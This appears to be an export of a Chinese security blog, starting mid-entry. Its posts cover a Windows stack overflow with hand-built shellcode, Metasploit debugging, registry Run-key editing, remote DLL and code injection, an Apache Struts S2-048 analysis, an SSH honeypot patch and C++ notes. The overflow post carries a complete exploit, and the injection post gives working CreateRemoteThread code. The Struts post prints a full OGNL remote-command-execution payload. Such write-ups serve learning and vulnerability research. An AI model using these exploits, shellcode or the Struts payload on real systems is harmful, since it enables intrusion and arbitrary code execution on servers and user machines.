<content type="text"><![CDATA[概念知识点 在程序执行的过程中,cpu会不断处理数据,而cpu处理的数据通常来自3个地方1.数据在指令中直接给出2.数据在寄存器中3.数据在内存中漏洞利用原理简介本次实例中的windows缓冲区溢出的原理还是比较简单的,首先使用jmp esp覆盖函数的返回地址,然后esp此时存放的正是shellcode的地址,那么shellcode本来是作为数据的结果被当做指令给执行了。感觉其实和sql注入啊,xss啥的都差不多,都是”数据”被当做代码或者指令给执行了 :)漏洞代码123456789int main(){ char buffer[8]; LoadLibrary("user32.dll"); strcpy(buffer,name); printf("%s\n",buffer); getchar(); return 0;} 主要是利用strcpy函数的复制,当name的内容大于buffer的大小时候,这个时候会产生异常,Exception code: C0000005 ACCESS_VIOLATION。 漏洞利用利用栈溢出弹出一个MessageBox的框 辅助工具代码以下代码用于定位user32.dll中的MessageBox以及kernel32.dll中的ExitProcess地址1234567891011121314151617#include "windows.h"#include "stdio.h"typedef void (*MYPROC)(LPTSTR);int main(){ HINSTANCE LibHandle; MYPROC ProcAdd; LibHandle = LoadLibrary("kernel32"); //LibHandle = LoadLibrary("user32"); printf("kernel LibHandle = //x%x\n",LibHandle); ProcAdd = (MYPROC)GetProcAddress(LibHandle,"ExitProcess"); //ProcAdd = (MYPROC)GetProcAddress(LibHandle,"MessageBoxA"); printf("system = //x%x\n",ProcAdd); return 0;} 以下代码用于发现user32.dll(当然其它dll中也存在jmp esp操作码的地址)中jmp esp的操作码的地址1234567891011121314151617181920212223242526272829303132333435363738#include "windows.h"#include "stdio.h"#include "stdlib.h"int main(){ BYTE *ptr; int position; HINSTANCE handle; BOOL done_flag = FALSE; handle = LoadLibrary("user32.dll"); if(!handle) { printf("Load dll error"); exit(0); } ptr = (BYTE*)handle; for(position = 0; !done_flag; position++ ) { try { if(ptr[position]==0xFF && ptr[position+1]==0xE4) { int address = (int)ptr + position; printf("OPCODE found at 0x%x\n",address); } } catch(...) { int address = (int)ptr + position; printf("END OPCODE found at 0x%x\n",address); done_flag = true; } } getchar(); return 0;} 汇编利用代码实现12345678910111213141516171819202122232425262728293031323334#include "windows.h"int main(){ _asm{ sub esp,0x50 xor ebx,ebx push ebx push 0x20676e69 push 0x6e726157 //push "Warning" mov eax,esp push ebx push 0x20202021 //push "you have been hacked by M0rk!" push 0x6b72304d push 0x20796220 push 0x64656b63 push 0x6168206e push 0x65656220 push 0x65766168 push 0x20756f79 mov ecx,esp push ebx push eax push ecx push ebx mov eax,0x761aea99 call eax push ebx mov eax,0x7700be52 call eax } return 0;} shellcode编写通过ollydbg或者vs查看机器码或者msf生成机器码如下:1234567891011121314151617181920212223242583EC 5033DB5368 696E672068 5761726E8BC45368 2120202068 4D30726B68 2062792068 636B656468 6E20686168 2062656568 6861766568 796F75208BCC53505153B8 99EA1A76FFD053B8 52BE0077FFD0 所以对应的shellcode是12345678910111213141516171819202122232425"\x83\xEC\x50" "\x33\xDB" "\x53" "\x68\x69\x6E\x67\x20" "\x68\x57\x61\x72\x6E" "\x8B\xC4" "\x53" "\x68\x21\x20\x20\x20" "\x68\x4D\x30\x72\x6B" "\x68\x20\x62\x79\x20" "\x68\x63\x6B\x65\x64" "\x68\x6E\x20\x68\x61" "\x68\x20\x62\x65\x65" "\x68\x68\x61\x76\x65" "\x68\x79\x6F\x75\x20" "\x8B\xCC" "\x53" "\x50" "\x51" "\x53" "\xB8\x99\xEA\xF0\x75" "\xFF\xD0" "\x53" "\xB8\x52\xBE\xC0\x76" "\xFF\xD0"; 利用代码123456789101112131415161718192021222324252627282930313233343536373839404142#include "windows.h"#include "stdio.h"#include "string.h"char name[] = "\x41\x41\x41\x41\x41\x41\x41\x41" "\x41\x41\x41\x41" //ebp "\xb3\xa0\xf6\x75" //Return address \xb3\xa0\x20\x76 "\x83\xEC\x50" "\x33\xDB" "\x53" "\x68\x69\x6E\x67\x20" "\x68\x57\x61\x72\x6E" "\x8B\xC4" "\x53" "\x68\x21\x20\x20\x20" "\x68\x4D\x30\x72\x6B" "\x68\x20\x62\x79\x20" "\x68\x63\x6B\x65\x64" "\x68\x6E\x20\x68\x61" "\x68\x20\x62\x65\x65" "\x68\x68\x61\x76\x65" "\x68\x79\x6F\x75\x20" "\x8B\xCC" "\x53" "\x50" "\x51" "\x53" "\xB8\x99\xEA\xF0\x75" "\xFF\xD0" "\x53" "\xB8\x52\xBE\xC0\x76" "\xFF\xD0";int main(){ char buffer[8]; LoadLibrary("user32.dll"); strcpy(buffer,name); printf("%s\n",buffer); getchar(); return 0;} 工具使用 OllyDBG 入门系列覆盖虚表方式利用栈溢出漏洞Reference Hacker Course Buffer Overflow - A Practical Example]]></content>
</entry>
<entry>
<title><![CDATA[metasploit调试以及ruby入门踩坑]]></title>
<url>%2F2017%2F07%2F26%2Fmetasploit%E8%B0%83%E8%AF%95%2F</url>
<content type="text"><![CDATA[记录下踩的坑吧 前言Ruby是什么,gem又是什么,Ruby on Rails又是什么,之前只是知道Ruby是一门面向对象的脚本语言,gem是有一个ruby的包管理器,好比是python的pip以及nodejs的NPM,而Ruby on Rails是一个使用Ruby语言写的开源Web应用框架,它是严格按照MVC结构开发的。它努力使自身保持简单,来使实际的应用开发时的代码更少,使用最少的配置。(据说Twitter就是用的这个框架) Gem使用Gem 是一个管理 Ruby 库和程序的标准包。Ruby gem 包的安装方式:所有的 gem 包,会被安装到 /[Ruby root]/lib/ruby/gems/[ver]/ 目录下,这其中包括了 Cache、doc、gems、specifications 等目录,cache 下放置下载的原生 gem 包,gems 下则放置的是解压过的 gem 包。12 M0rk@hhh ~/.rvm/rubies/ruby-2.3.0/lib/ruby/gems/2.3.0 lsbin build_info cache doc environment extensions gems specifications wrappers 当安装过程中遇到问题时,可以进入这些目录,手动删除有问题的 gem 包,然后重新运行 gem install [gemname] 命令即可。Ruby Gem 命令详解: 12345678910111213141516171819202122232425262728# 更新Gem自身# 注意:在某些linux发行版中为了系统稳定性此命令禁止执行$ gem update --system# 从Gem源安装gem包$ gem install [gemname]# 从本机安装gem包$ gem install -l [gemname].gem# 安装指定版本的gem包$ gem install [gemname] --version=[ver]# 更新所有已安装的gem包$ gem update# 更新指定的gem包# 注意:gem update [gemname]不会升级旧版本的包,此时你可以使用 gem install [gemname] --version=[ver]代替$ gem update [gemname]# 删除指定的gem包,注意此命令将删除所有已安装的版本$ gem uninstall [gemname]# 删除某指定版本gem$ gem uninstall [gemname] --version=[ver]# 查看本机已安装的所有gem包$ gem list [--local] 踩坑开始开始的时候看的是这篇文章https://community.rapid7.com/community/metasploit/blog/2014/03/14/debugging-metasploit-modules-with-pry-debugger但是在安装的时候报错,没有好的解决方法这个时候我发现了这个https://github.com/deivid-rodriguez/byebug感觉应该是相同用途,安装没报错,然后修改rb的时候一直加载不了,这个时候想到自己有安装RubyMine,那就测试个helloworld试试看。测试的没问题,如下图:后来发现,当添加或者修改metasploit的modules的时候,需要使用 reload_all 命令来重新加载所有的模块,但是添加了 require ‘byebug’ 时候还是报错,好像是需要rerun bundle的,rerun的时候又是各种问题,首先ruby版本太低,升级完ruby版本,bundle install的时候没错了,但是运行msfconsole还是失败…完,meatsloit弄坏了,晚上回来, /opt/metasploit-framework/embedded/framework sudo ./msfupdate 升级了一下又能用了,太晚了,明天再看看吧 0727更新:今天又看了下资料,发现byebug还是不能用,搜索metasploit debug的资料也是很老的,但是在Stack Overflow发现了这个https://stackoverflow.com/questions/43882397/debugging-about-the-metasploit-exploit-module就试了一下pry,果然可以和metasploit无缝使用。但是蛋疼的是pry没有step和next这种最基本的单步调试功能。1234require ‘pry’ #需要pry库,否则binding.pry就不认识了g_a = 1g_b = 2binding.pry #运行到这句程序就停下来并打开pry让你调试 随便找个msf的rb脚本,插上上面的代码 pry常用命令: 1234567cd: 这可不是切换目录的,而是切换类。如”cd Article”会进入Article类中,”Article.all”可直接缩写为”all”nesting: cd切来切去如果迷了路,用它可以看当前在哪个类下面。我倒觉得如果名字改为”pwd”会更好。ls: 查看一些信息,ls -h查看帮助,ls -m查看实例方法,ls -M查看类方法,ls -p查看private方法。show-doc Array#in_groups_of:查看文档。show-method -l Array#in_groups_of:查看方法的源代码,-l显示行号。edit-method Array#in_groups_of:调出nano来编辑代码,如果是能调出vim就好啦。(后来发现其实很简单,见后面。)help:显示帮助 rvm 常用命令:1234RVM是Ruby Version Manager的缩写,是一个命令行工具,它可以让你轻松地安装,管理和使用多个版本的Ruby.不同的rails项目使用等ruby和rails版本不一样的时候,可以使用RVM自由切换。1.rvm list 查看所有的ruby版本2.rvm current 查看当前的ruby版本3.rvm --default use 2.x.x 切换到到版本2.x.xs 小结1.pry-debugger在ruby2.0+已不再能使用,所以基本上可以放弃2.pry-byebug 应该是现在在用的,但是我这里bundle install完之后,msfconsole就报错了,暂时问题还没解决,感觉应该是metasploit使用了自带的ruby以及gem的问题3.最终还是选择了没有单步步过功能的pry4.其实python也有这种调试工具,是pdb的模块,感兴趣的可以学习下5.msfconsole居然是一个脚本文件,一开始以为是个二进制程序。。。(当你通过whereis找不到这个文件的时候,就很有可能是个文本文件,find找到,然后file命令看一下)6.metasploit的ruby是自带的,可执行文件在这个目录下 /opt/metasploit-framework/embedded/bin Reference metasploit - debug 使用pry调试程序介绍 pry 如何单步调试ruby代码 乌云文章:Metasploit module开发入门篇]]></content>
</entry>
<entry>
<title><![CDATA[windows注册表]]></title>
<url>%2F2017%2F07%2F24%2Fwindows%E6%B3%A8%E5%86%8C%E8%A1%A8%2F</url>
<content type="text"><![CDATA[前言 注册表是Microsoft Windows中的一个重要的数据库,用于存储系统和应用程序的设置信息。早在Windows 3.0推出OLE技术的时候,注册表就已经出现。随后推出的Windows NT是第一个从系统级别广泛使用注册表的操作系统。但是,从Windows 95开始,注册表才真正成为Windows用户经常接触的内容,并在其后的操作系统中继续沿用至今。由于注册表的功能非常强大,因此注册表对于病毒、木马来说是非常有利用价值的,而对于反病毒软件来说,注册表也是它需要加强守卫的地方,可以说,注册表是一个正义与邪恶的必争之地。恶意程序在注册表中常见的操作有修改文件关联、增加系统启动项、映像劫持、篡改浏览器主页等。数据结构: 注册表由键(key,或称“项”)、子键(subkey,子项)和值项(value)构成。一个键就是树状数据结构中的一个节点,而子键就是这个节点的子节点,子键也是键。一个值项则是一个键的一条属性,由名称(name)、数据类型(datatype)以及数据(data)组成。一个键可以有一个或多个值,每个值的名称各不相同,如果一个值的名称为空,则该值为该键的默认值。数据类型:注册表的数据类型主要有以下五种: 显示类型 数据类型 说明 REG_SZ 字符串 文本字串 REG_BINARY 二进制数 不定长度的二进制值,以十六进制显示 REG_DWORD 双字 一个 32 位的二进制值,显示为 8 位的十六进制值 REG_MULTI_SZ 多字符串 含有多个文本值的字符串,此名来源于字符串间用 nul 分隔、结尾两个 nul REG_EXPAND_SZ 可扩充字符串 含有环境变量的字符串 注册表的分支结构:注册表有五个一级分支,下面是这五个分支的名称及作用: 名称 作用 HKEY_CLASSES_ROOT 存储Windows可识别的文件类型的详细列表,以及相关联的程序。 HKEY_CURRENT_USER 存储当前用户设置的信息。 HKEY_LOCAL_MACHINE 包括安装在计算机上的硬件和软件的信息。 HKEY_USERS 包含使用计算机的用户的信息。 HKEY_CURRENT_CONFIG 这个分支包含计算机当前的硬件配置信息。 通过注册表获取开机启动项原理: 通过枚举注册表中的 “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\“子键下的键值项,取得跟随windows启动而启动的程序。 主要代码如下:123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143VOID CManageRunDlg::InitRunList(){ // 设置扩展样式 m_RunList.SetExtendedStyle( m_RunList.GetExtendedStyle() | LVS_EX_GRIDLINES // 有网格 | LVS_EX_FULLROWSELECT); // 选择单行 // 在ListCtrl中插入新列 m_RunList.InsertColumn(0, "NO."); m_RunList.InsertColumn(1, "键值名称"); m_RunList.InsertColumn(2, "键 值"); /* LVSCW_AUTOSIZE_USEHEADER: 列的宽度自动匹配为标题文本 如果这个值用在最后一列,列宽被设置为ListCtrl剩余的长度 */ m_RunList.SetColumnWidth(0, LVSCW_AUTOSIZE_USEHEADER); m_RunList.SetColumnWidth(1, LVSCW_AUTOSIZE_USEHEADER); m_RunList.SetColumnWidth(2, LVSCW_AUTOSIZE_USEHEADER);}#define REG_RUN "Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"VOID CManageRunDlg::ShowRunList(){ // 清空ListCtrl中的所有项 m_RunList.DeleteAllItems(); DWORD dwType = 0; DWORD dwBufferSize = MAXBYTE; DWORD dwKeySize = MAXBYTE; char szValueName[MAXBYTE] = { 0 }; char szValueKey[MAXBYTE] = { 0 }; HKEY hKey = NULL; LONG lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, REG_RUN, 0, KEY_ALL_ACCESS, &hKey); if ( lRet != ERROR_SUCCESS ) { return ; } int i = 0; CString strTmp; while ( TRUE ) { // 枚举键项 lRet = RegEnumValue(hKey, i, szValueName, &dwBufferSize, NULL, &dwType, (unsigned char *)szValueKey, &dwKeySize); // 没有则退出循环 if ( lRet == ERROR_NO_MORE_ITEMS ) { break; } // 显示到列表控件中 strTmp.Format("%d", i); m_RunList.InsertItem(i, strTmp); m_RunList.SetItemText(i, 1, szValueName); m_RunList.SetItemText(i, 2, szValueKey); ZeroMemory(szValueKey, MAXBYTE); ZeroMemory(szValueName, MAXBYTE); dwBufferSize = MAXBYTE; dwKeySize = MAXBYTE; i ++; } RegCloseKey(hKey);}void CManageRunDlg::OnBtnAdd() { // TODO: Add your control notification handler code here CRegAdd RegAdd; RegAdd.DoModal(); // 判断输入是否完整 if ( strlen(RegAdd.m_szKeyName) > 0 && strlen(RegAdd.m_szKeyValue) > 0) { HKEY hKey = NULL; LONG lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, REG_RUN, 0, KEY_ALL_ACCESS, &hKey); if ( lRet != ERROR_SUCCESS ) { return ; } RegSetValueEx(hKey, RegAdd.m_szKeyName, 0, REG_SZ, (const unsigned char*)RegAdd.m_szKeyValue, strlen(RegAdd.m_szKeyValue) + sizeof(char)); RegCloseKey(hKey); ShowRunList(); } else { AfxMessageBox("请输入完整的内容"); }}void CManageRunDlg::OnBtnDel() { // TODO: Add your control notification handler code here POSITION pos = m_RunList.GetFirstSelectedItemPosition(); int nSelected = -1; while ( pos ) { nSelected = m_RunList.GetNextSelectedItem(pos); } if ( -1 == nSelected ) { AfxMessageBox("请选择要删除的启动项"); return ; } char szKeyName[MAXBYTE] = { 0 }; m_RunList.GetItemText(nSelected, 1, szKeyName, MAXBYTE); HKEY hKey = NULL; LONG lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, REG_RUN, 0, KEY_ALL_ACCESS, &hKey); RegDeleteValue(hKey, szKeyName); RegCloseKey(hKey); ShowRunList();} Reference 注册表 https://www.wikiwand.com/zh-hans/%E6%B3%A8%E5%86%8C%E8%A1%A8]]></content>
</entry>
<entry>
<title><![CDATA[DLL注入]]></title>
<url>%2F2017%2F07%2F16%2Fwindows%20DLL%E6%B3%A8%E5%85%A5%2F</url>
<content type="text"><![CDATA[概述DLL远程注入dll的注入和卸载关键性代码如下: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120VOID CInjectDllDlg::InjectDll(DWORD dwPid, char *szDllName){ if ( dwPid == 0 || lstrlen(szDllName) == 0 ) { return ; } char *pFunName = "LoadLibraryA"; // 打开目标进程 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid); if ( hProcess == NULL ) { return ; } // 计算欲注入DLL文件完整路径的长度 int nDllLen = lstrlen(szDllName) + sizeof(char); // 在目标进程申请一块长度为nDllLen大小的内存空间 PVOID pDllAddr = VirtualAllocEx(hProcess, NULL, nDllLen, MEM_COMMIT, PAGE_READWRITE); if ( pDllAddr == NULL ) { CloseHandle(hProcess); return ; } DWORD dwWriteNum = 0; // 将欲注入DLL文件的完整路径写入在目标进程中申请的空间内 WriteProcessMemory(hProcess, pDllAddr, szDllName, nDllLen, &dwWriteNum); // 获得LoadLibraryA()函数的地址 FARPROC pFunAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), pFunName); // 创建远程线程 HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunAddr, pDllAddr, 0, NULL); WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); CloseHandle(hProcess);}void CInjectDllDlg::OnBtnUninject() { // TODO: Add your control notification handler code here char szDllName[MAX_PATH] = { 0 }; char szProcessName[MAXBYTE] = { 0 }; DWORD dwPid = 0; GetDlgItemText(IDC_EDIT_DLLFILE, szDllName, MAX_PATH); GetDlgItemText(IDC_EDIT_PROCESSNAME, szProcessName, MAXBYTE); // 由进程名获得PID dwPid = GetProcId(szProcessName); // 注入szDllName到dwPid UnInjectDll(dwPid, szDllName);}VOID CInjectDllDlg::UnInjectDll(DWORD dwPid, char *szDllName){ if ( dwPid == 0 || lstrlen(szDllName) == 0 ) { return ; } HANDLE hSnap = CreateToolhelp32Snapshot( TH32CS_SNAPMODULE, dwPid); MODULEENTRY32 me32; me32.dwSize = sizeof(me32); // 查找匹配的进程名称 BOOL bRet = Module32First(hSnap, &me32); while ( bRet ) { if ( lstrcmp(strupr(me32.szExePath), strupr(szDllName)) == 0 ) { break; } bRet = Module32Next(hSnap, &me32); } CloseHandle(hSnap); char *pFunName = "FreeLibrary"; HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid); if ( hProcess == NULL ) { return ; } FARPROC pFunAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), pFunName); HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFunAddr, me32.hModule, 0, NULL); WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); CloseHandle(hProcess);} 整个注入与卸载的过程其实就是让远程线程执行一次LoadLibrary()函数或FreeLibrary()函数。 无DLL的代码注入 关键性代码: 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108typedef struct _DATA{ DWORD dwLoadLibrary; DWORD dwGetProcAddress; DWORD dwGetModuleHandle; DWORD dwGetModuleFileName; char User32Dll[STRLEN]; char MessageBox[STRLEN]; char Str[STRLEN];}DATA, *PDATA;DWORD WINAPI RemoteThreadProc(LPVOID lpParam){ PDATA pData = (PDATA)lpParam; // 定义API函数原型 HMODULE (__stdcall *MyLoadLibrary)(LPCTSTR); FARPROC (__stdcall *MyGetProcAddress)(HMODULE, LPCSTR); HMODULE (__stdcall *MyGetModuleHandle)(LPCTSTR); int (__stdcall *MyMessageBox)(HWND, LPCTSTR, LPCTSTR, UINT); DWORD (__stdcall *MyGetModuleFileName)(HMODULE, LPTSTR, DWORD); MyLoadLibrary = (HMODULE (__stdcall *)(LPCTSTR)) pData->dwLoadLibrary; MyGetProcAddress = (FARPROC (__stdcall *)(HMODULE, LPCSTR)) pData->dwGetProcAddress; MyGetModuleHandle = (HMODULE (__stdcall *)(LPCSTR)) pData->dwGetModuleHandle; MyGetModuleFileName = (DWORD (__stdcall *)(HMODULE, LPTSTR, DWORD)) pData->dwGetModuleFileName; HMODULE hModule = MyLoadLibrary(pData->User32Dll); MyMessageBox = (int (__stdcall *)(HWND, LPCTSTR, LPCTSTR, UINT)) MyGetProcAddress(hModule, pData->MessageBox); char szModuleFileName[MAX_PATH] = { 0 }; MyGetModuleFileName(NULL, szModuleFileName, MAX_PATH); MyMessageBox(NULL, pData->Str, szModuleFileName, MB_OK); return 0;}VOID CNoDllInjectDlg::InjectCode(DWORD dwPid){ // 打开进程并获取进程句柄 HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid); if ( hProcess == NULL ) { return ; } DATA Data = { 0 }; // 获取kernel32.dll中相关的导出函数 Data.dwLoadLibrary = (DWORD)GetProcAddress( GetModuleHandle("kernel32.dll"), "LoadLibraryA"); Data.dwGetProcAddress = (DWORD)GetProcAddress( GetModuleHandle("kernel32.dll"), "GetProcAddress"); Data.dwGetModuleHandle = (DWORD)GetProcAddress( GetModuleHandle("kernel32.dll"), "GetModuleHandleA"); Data.dwGetModuleFileName = (DWORD)GetProcAddress( GetModuleHandle("kernel32.dll"), "GetModuleFileNameA"); // 需要的其他DLL和导出函数 lstrcpy(Data.User32Dll, "user32.dll"); lstrcpy(Data.MessageBox, "MessageBoxA"); // MessageBoxA()弹出的字符串 lstrcpy(Data.Str, "Inject Code !!!"); // 在目标进程申请空间 LPVOID lpData = VirtualAllocEx(hProcess, NULL, sizeof(Data), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); DWORD dwWriteNum = 0; WriteProcessMemory(hProcess, lpData, &Data, sizeof(Data), &dwWriteNum); // 在目标进程空间申请的用于保存代码的长度 DWORD dwFunSize = 0x1000; LPVOID lpCode = VirtualAllocEx(hProcess, NULL, dwFunSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); BOOL bRet = WriteProcessMemory(hProcess, lpCode, &RemoteThreadProc, dwFunSize, &dwWriteNum); if ( bRet == FALSE ) { int n = GetLastError(); } HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpCode, lpData, 0, NULL); WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); CloseHandle(hProcess);} 通过peid可以查看DLL的导出函数还可以通过vc6自带的dependency Walker以及CFF Explorer 这种方式是直接把想要使用的API函数以及API函数所在的DLL文件都封装在一个结构体中,直接写入目标进程的空间中,最后调用CreateRemoteThread()函数即可将其运行。 tips通过windows自带工具运行DLL的两种方法1.通过regsvr32.exe 调用 例如 regsvr32 /i c:\test.dll2.通过rundll32.exe 调用 例如 rundll32.exe “c:\test.dll” ,RundllFunc FunParam3.通过Dependency Walker工具查看应用程序所使用到的动态链接库文件,此外还可以使用dumpbin工具 Reference神奇的马甲Dll By 海风月影DLL注入的几种姿势(二):CreateRemoteThread And Morewindows进程注入]]></content>
<categories>
<category>windows安全</category>
</categories>
</entry>
<entry>
<title><![CDATA[s2-048漏洞分析]]></title>
<url>%2F2017%2F07%2F08%2Fs2-048%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%2F</url>
<content type="text"><![CDATA[0x01 前言 昨天下午下班前看到朋友圈有人已经在转发s2-048的漏洞通告,见链接 https://cwiki.apache.org/confluence/display/WW/S2-048,晚上的时候简单的复现了一下,今天没事儿就跟了一下。 0x02 从官方通告到poc 从官方通告到概念性证明非常考验技术人员的能力,但是万事都有技巧和经验。官方通告往往信息量是最大的,首先通过官方通告如下图所示可以得到至少五个重要的信息点 1.这是一个远程命令执行漏洞 2.这个漏洞存在showcase示例应用中,这个很重要,能让我们最快的时间去找到相应的漏洞环境 3.这个漏洞struts1的插件有关 4.这个漏洞影响的版本是struts 2.3x系列 5.漏洞的解决方法,这里是代码的正确写法,此处是找到漏洞触发点的关键1.首先,我们从官网http://struts.apache.org/download.cgi#struts25101下载对应的struts以及showcase。2.将war包部署到应用服务器,我这里用了tomcat,打开struts-showcase如下图所示:3.查找关键性代码可以看到箭头所指的地方就使用到了官方不’提倡’使用的规范,应该就是这个地方了。打开这个页面可以看到这里有三个输入的地方,这里应该就是恶意代码插入的地方。4.代码调试这个时候就该上eclipse了,跟踪一下数据流向。我们先在此处加个断点通过调试会发现M0rk参数会进入buildMessageFormat()这个函数里面很熟悉有木有,这个就是s2-045漏洞(详见之前的文章http://www.cnblogs.com/mrchang/p/6515150.html)里面的利用点,直接利用不就行了嘛。直接将name参数修改为s2-045的payload就行了.payload如下:1%{(#szgx='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=' open /Applications/Calculator.app').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.close())} 0X03 总结 这里没有具体的分析这个struts1插件功能以及payload,只是简单和大家分享一下从官方通告到自己出poc的一个流程,还是有经验可循的,分析的漏洞多了,这个过程应该就会很快。水了一篇:)]]></content>
<categories>
<category>漏洞分析</category>
</categories>
</entry>
<entry>
<title><![CDATA[ssh蜜罐搭建]]></title>
<url>%2F2017%2F06%2F25%2Fssh%E8%9C%9C%E7%BD%90%E6%90%AD%E5%BB%BA%2F</url>
<content type="text"><![CDATA[0x01 前言 本来觉得应该不是一件很复杂的事,结果搞了三个小时才搞定(我太菜了),里面有几个坑,记录一下。一直以来想去做蜜罐这么个东西,ssh is only the begining!ssh secure shell,就是安全的shell,至于为什么安全呢?怎么就安全了呢? 较rlogin、rsh等这些不加密的协议,ssh传输是加密的,历史上ssh协议的实现有openssh和ossh,前者是主流,后面非特殊情况涉及到的ssh实现均指的是openssh。 ssh协议有两个版本SSH-1 and SSH-2。ssh提供了两种方式的认证,一种是密码登录方式的认证,另外一种是基于秘钥的认证。第一种就是提供的默认加密算法是椭圆曲线加密算法ecdsa-sha2-nistp256,第二种是将rsa的公钥写到服务器的authorized_keys中实现免密码登录。0x02 具体安装步骤1本次测试是在ubuntu14.04X64环境下测试 1.首先git clone这两个资源https://github.com/openssh/openssh-portablehttps://github.com/w8rbt/sshlog2.’打补丁’。12$ patch --dry-run < sshlog.patch$ patch < sshlog.patch 运行上面两条命令,其实就是在auth-passwd.c中加上几行代码 12345678910111213struct ssh *ssh = active_state; if(authctxt->user && password && ssh) { logit("sshlog: %.100s %s %.200s %lu", authctxt->user, password, ssh_remote_ipaddr(ssh), (unsigned long)time(NULL));} else { logit("sshlog: unable to log attempt");} 3.安装前检查发现源码中没有configure文件,原来是需要自己运行autoreconf这个来生成configure文件,参考官方说明:http://www.openssh.com/portable.html4.编译编译的时候需要安装依赖 12$ sudo apt-get install libz-dev$ sudo apt-get install libssl-dev 5.链接和安装这个时候又会报一个错Privilege separation user sshd does not exist这个时候需要在/etc/passwd文件中加入 : 1sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin 6.Done! 0x03 待续1图形化界面实时展示ssh被爆破记录 0x04 reference1.https://www.wikiwand.com/en/Secure_Shell2.https://www.wikiwand.com/en/Elliptic_curve_cryptography3.https://my.oschina.net/realfighter/blog/3884864.https://m14.cc/magic-behind-compiling-software/]]></content>
<categories>
<category>日常分享</category>
</categories>
</entry>
<entry>
<title><![CDATA[c和c++易混淆点笔记]]></title>
<url>%2F2017%2F06%2F12%2Fc-%E6%98%93%E6%B7%B7%E6%B7%86%E7%82%B9%E7%AC%94%E8%AE%B0%2F</url>
<content type="text"><![CDATA[简介 主要记录一些容易忽略和忘记的知识点,原因是有些知识点刚看过之后觉的懂了,但是过段时间可能又忘记了的情况。记录 基本数据类型Fundamental typesWindows Data Types.aspx) 指针类型和引用类型 构造函数初始化数据成员的方式,除了在函数体中使用复制和赋值等方法外,还可以使用初始化表,初始化表位于参数表和函数体之间,以:开头,由一个或多个初始化项构成,多个初始化项以逗号相分隔,一般的形式为::数据成员1(表达式1),。。。,数据成员n(表达式n)常值数据成员、对象成员和从基类继承来的数据成员等特殊成员的初始化,必须采用初始化表(不得不说语法真是复杂,还是必须。。) 函数指针和回调函数参考刚开始还不好理解,其实还挺有意思的,就是你可以函数指针变量可以作为某个函数的参数来使用,那么这个函数 内联函数可以这么理解,调用函数的时候,系统需要做一系列的辅助工作(例如保护现场,为函数所用变量分配内存,实参赋值给形参等),然后转去执行被调用函数的函数体,当执行完成后,还要做一系列的辅助工作,再接着执行函数调用之后的语句。这个过程时候时间开销的,为了节省时间,c++允许定义内联函数,就是函数在编译的时候会把你的调用处的函数替换成函数体。虽然代码存储空间可能变大了,但是整个程序的执行时间变小了。此外,在类体内定义的成员函数默认为内联的,而要在类体外定义内联的成员函数,则需要用关键字inline进行声明。 函数重载函数重载是指多个函数使用相同的函数名。函数重载是多态性的体现,即用同一个函数名实现多种函数调用。函数重载一般是函数的参数个数或者参数类型不同,这个时候,编译器会根据这个差别来进行差别性编译。 虚函数和纯虚函数虚函数其实就是虚拟函数的意思,virtual function,感觉翻译成虚拟函数就挺好的,不知道为啥翻译到国内就是叫虚函数,感觉怪怪的。这个虚拟函数和函数重载的概念有点儿相似,在派生类中可以通过重写虚拟函数来实现对基类虚拟函数的覆盖。(感觉像是java里面的接口),这也是多态性的体现(注意这里是运行时的多态性,不同于函数重载编译时的多态性)。c++接口(抽象类) std standard的缩写,我们在使用c++的标准库的标识符的时候需要使用using namespace std;使用了命名空间std的有 cstdio cmath csring string等。 今天学习STL,才真正意识到什么是容器(用来放东西的)。也觉得以前都没有怎么去理解容器,每一种语言都有自己的容器,像python中有list、dict、tuple等容器,java中有arraylist、hashset、hashmap等容器,可以说容器是复杂的数据结构(相对于简单的数据结构int,float这种)。c++ 中标准STL序列容器:vector、string、deque和list。标准STL关联容器:set、multiset、map和multimap。每种容器类型都定义了自己的迭代器类型,如vectorvector::iterator 